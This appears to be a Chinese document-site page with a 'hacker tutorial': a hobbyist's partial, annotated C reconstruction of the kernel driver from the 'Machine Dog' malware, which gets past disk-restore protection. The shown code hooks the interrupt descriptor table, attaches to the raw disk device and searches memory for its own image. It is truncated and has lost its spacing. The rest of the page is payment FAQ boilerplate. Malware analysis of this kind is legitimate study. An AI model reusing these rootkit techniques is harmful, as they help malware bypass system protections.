黑客教程“机器狗”病毒驱动部分逆向分析注释(C代码)

“机器狗”病毒驱动部分逆向分析注释(C代码)“机器狗”病毒驱动部分逆向分析注释(C代码)【软件名称】:机器狗(病毒)【下载地址】:wwdream2fly或自己搜索下载【加壳方式】:未知壳【编写语言】:MASM【使用工具】:IDA【操作平台】:win2003【软件介绍】:穿透冰点型带驱动病毒【作者声明】:只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!*/#include<ntddk.h>//variousNTdefinitions#defineIOCTL_MYDEV_BASE0xF000#defineIOCTL_MYDEV_Fun_0xF01CTL_CODE(IOCTL_MYDEV_BASE,0xF01,METHOD_BUFFERED,FILE_ANY_ACCESS)#defineDR0_DEVICE_NAME"\\Device\\Harddisk0\\DR0"#defineNT_DEVICE_NAME"\\Device\\PhysicalHardDisk0"#defineDOS_DEVICE_NAME"\\DosDevices\\PhysicalHardDisk0"PDEVICE_OBJECTg_DR0_DeviceObject;PDEVICE_OBJECTg_OldAttachedDeviceOfDR0;VOID*g_ResData;SIZE_Tg_ResDataSize;typedefstruct_idtr{//定义中断描述符表的限制,长度两字节;shortIDTLimit;//定义中断描述服表的基址,长度四字节;unsignedintIDTBase;}IDTR,*PIDTR;typedefstruct_idtentry{//中断执行代码偏移量的底16位;unsignedshortOffsetLow;//选择器,也就是寄存器;unsignedshortSelector;//保留位,始终为零;unsignedcharReserved;//IDT中的门的类型:包括中断门,陷阱门和任务门;unsignedcharType:4;//段标识位;unsignedcharSegmentFlag:1;//中断门的权限等级,0表示内核级,3表示用户级;unsignedcharDPL:2;//呈现标志位;unsignedcharPresent:1;//中断执行代码偏移量的高16位;unsignedshortOffsetHigh;}IDTENTRY,*PIDTENTRY;#defineHOOKINTID_099//NPXSegmentOverrun#defineHOOKINTID_0E0x0E//PageFaultVOIDCheckIdt()//用SIDT指令得到中断向量啊,然后修改中断向量入口地址{intINT_09_Address_High8;intINT_0E_Address_High8;unsignedlongOldISR_09;unsignedlongOldISR_0E;//保存IDT入口的基地址和限制信息的数据结构;IDTRidtr;//storeinterruptdescripttableregister.toidtr//记录IDT数组的指针,通过它可以查找到我们需要Hook中断号对应的中断门;PIDTENTRYIdtEntry;//汇编指令sidt,获取IDT入口信息;__asmsidtidtr//赋予IDT基地址值;IdtEntry=(PIDTENTRY)idtr.IDTBase;//保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用OldISR_09=((unsignedint)IdtEntry[HOOKINTID_09].OffsetHigh<<16)|(IdtEntry[HOOKINTID_09].OffsetLow);INT_09_Address_High8=OldISR_090x0FF000000;/*这两句汇编代码什么意思?eax相减应该总是0,那么jz不总是跳转返回了???有知道的大侠告诉我dream2fly(QQ:838468959)subeax,eaxjzshortFunctionExit难道是?if(INT_09_Address_High8==0)return;*///保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用;OldISR_0E=((unsignedint)IdtEntry[HOOKINTID_0E].OffsetHigh<<16)|(IdtEntry[HOOKINTID_0E].OffsetLow);INT_0E_Address_High8=OldISR_0E0x0FF000000;if(INT_09_Address_High8!=INT_0E_Address_High8)//检查0E是不是被HOOK{//关中断__asmcliIdtEntry[HOOKINTID_0E].OffsetHigh=0;//作者此处没关中断,难道不bosd?//开中断__asmsti}}/*通过搜索地址来查找自己的加载地址查找驱动文件的资源中的1000/1000,并复制到一个全局缓冲区中*/VOID*SearchSelf(){VOID*pSelfImage=NULL;VOID*pCurAddr=NULL;VOID*pTmpAddr=NULL;//loc_40045F:这个取当前地址用C怎么写?//028leaebx,loc_40045F//028andebx,0FFFFFC00h//pSelfImage如何取?while(MmIsAddressValid(pSelfImage)){if((unsignedlong)pSelfImage<=0x80000000)returnNULL;if(RtlEqualMemory(pSelfImage,"MZ",2)){pCurAddr=pSelfImage;pTmpAddr=(VOID*)((unsignedlong)pSelfImage+0x3C);(unsignedlong)pCurAddr+=(unsignedlong)(pTmpAddr);if(!MmIsAddressValid(pCurAddr))returnNULL;if(RtlEqualMemory(pCurAddr,"PE",2))returnpSelfImage;}(unsignedlong)pSelfImage-=0x400;//-1024K}returnNULL;}SIZE_TResLookupDataInDirector...

1、当您付费下载文档后,您只拥有了使用权限,并不意味着购买了版权,文档只能用于自身使用,不得用于其他商业用途(如 [转卖]进行直接盈利或[编辑后售卖]进行间接盈利)。
2、本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供参考,付费前请自行鉴别。
3、如文档内容存在侵犯商业秘密、侵犯著作权等,请点击“举报”。

常见问题具体如下:

1、问:已经付过费的文档可以多次下载吗?

      答:可以。登陆您已经付过费的账号,付过费的文档可以免费进行多次下载。

2、问:已经付过费的文档不知下载到什么地方去了?

     答:电脑端-浏览器下载列表里可以找到;手机端-文件管理或下载里可以找到。

            如以上两种方式都没有找到,请提供您的交易单号或截图及接收文档的邮箱等有效信息,发送到客服邮箱,客服经核实后,会将您已经付过费的文档即时发到您邮箱。

注:微信交易号是以“420000”开头的28位数字;

       支付宝交易号是以“2024XXXX”交易日期开头的28位数字。

客服邮箱:

biganzikefu@outlook.com

所有的文档都被视为“模板”,用于写作参考,下载前须认真查看,确认无误后再购买;

文档大部份都是可以预览的,笔杆子文库无法对文档的真实性、完整性、准确性以及专业性等问题提供审核和保证,请慎重购买;

文档的总页数、文档格式和文档大小以系统显示为准(内容中显示的页数不一定正确),网站客服只以系统显示的页数、文件格式、文档大小作为依据;

如果您还有什么不清楚的或需要我们协助,可以联系客服邮箱:

biganzikefu@outlook.com

常见问题具体如下:

1、问:已经付过费的文档可以多次下载吗?

      答:可以。登陆您已经付过费的账号,付过费的文档可以免费进行多次下载。

2、问:已经付过费的文档不知下载到什么地方去了?

     答:电脑端-浏览器下载列表里可以找到;手机端-文件管理或下载里可以找到。

            如以上两种方式都没有找到,请提供您的交易单号或截图及接收文档的邮箱等有效信息,发送到客服邮箱,客服经核实后,会将您已经付过费的文档即时发到您邮箱。

注:微信交易号是以“420000”开头的28位数字;

       支付宝交易号是以“2024XXXX”交易日期开头的28位数字。

笔杆子文秘
机构认证
内容提供者

为您提供优质文档,供您参考!

确认删除?